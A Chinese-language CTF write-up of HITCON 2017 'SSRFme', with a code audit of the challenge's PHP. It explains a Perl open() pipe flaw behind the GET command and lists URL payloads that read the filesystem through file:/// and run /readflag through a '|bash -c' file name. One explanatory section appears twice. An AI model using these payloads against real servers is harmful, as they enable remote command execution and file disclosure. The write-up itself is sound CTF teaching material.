[HITCON 2017]SSRFme 1

目录

  • 代码审计
    • [@ 符号](#@ 符号)
    • [shell_exec() 函数:](#shell_exec() 函数:)
    • [GET " . escapeshellarg(_GET\["url"\]):](#GET " . escapeshellarg(_GET["url"]):)
    • [pathinfo(_GET\["filename"\]](#pathinfo(_GET["filename"])
    • basename()
  • 题目解析

代码审计

php 复制代码
118.182.186.90
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

输出ip地址

基于客户端IP地址和固定字符串 "orange" 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET"url"):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET"filename"

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET"filename"

pathinfo() 函数:

pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。

basename:文件名和扩展名部分。

extension:文件的扩展名。

filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

text 复制代码
payload:?url=file:///&filename=a

再访问

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/a

读了一下flag为空,存在readflag

通过GET特性,来运行readflag

需要先创建一个存在运行命令的文件名

text 复制代码
payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

text 复制代码
payload:?url=file:|bash -c /readflag&filename=abc

访问abc

text 复制代码
payload:sandbox/(orange加你的ip的md5值)/abc

得到flag

相关推荐
码农小河668 小时前
基于PHP的电商后台蜜罐系统
开发语言·php
阿洛学长11 小时前
PHP开发框架对比:Laravel、Yii、Tp、Yaf、Swoole
php·laravel·swoole
Risehuxyc12 小时前
GetCpolar留V3版去掉V2版
php
博闻善行15 小时前
CTF之web篇(入门篇)
web安全·网络安全
FYKJ_201016 小时前
springboot同人周边订单管理系统48955-计算机毕业设计、课程设计
java·javascript·vue.js·spring boot·django·php·课程设计
云水一下1 天前
XSS-Labs 靶场通关全记录(上):XSS 的前世今生与基础反射型实战(Level 1–10)
web安全·xss·xss-labs
火云代理1 天前
更换网络后为什么会退出登录?分清 IP、Cookie 与会话的关系
服务器·网络·网络协议·tcp/ip·php·ip
火云代理1 天前
同一个网站,有的网络能打开、有的打不开?认识 IPv4 与 IPv6 的访问差异
服务器·网络·网络协议·tcp/ip·测试工具·php·状态模式
笑容掩饰我的失落2 天前
区块链从小白到精通(七):Solidity 语法精讲——数据类型、函数、修饰器与事件
算法·区块链·php·智能合约·哈希算法
笑容掩饰我的失落2 天前
区块链从小白到精通(八):从零实现一个标准 ERC-20 代币(完整可运行代码)
算法·区块链·php·智能合约·哈希算法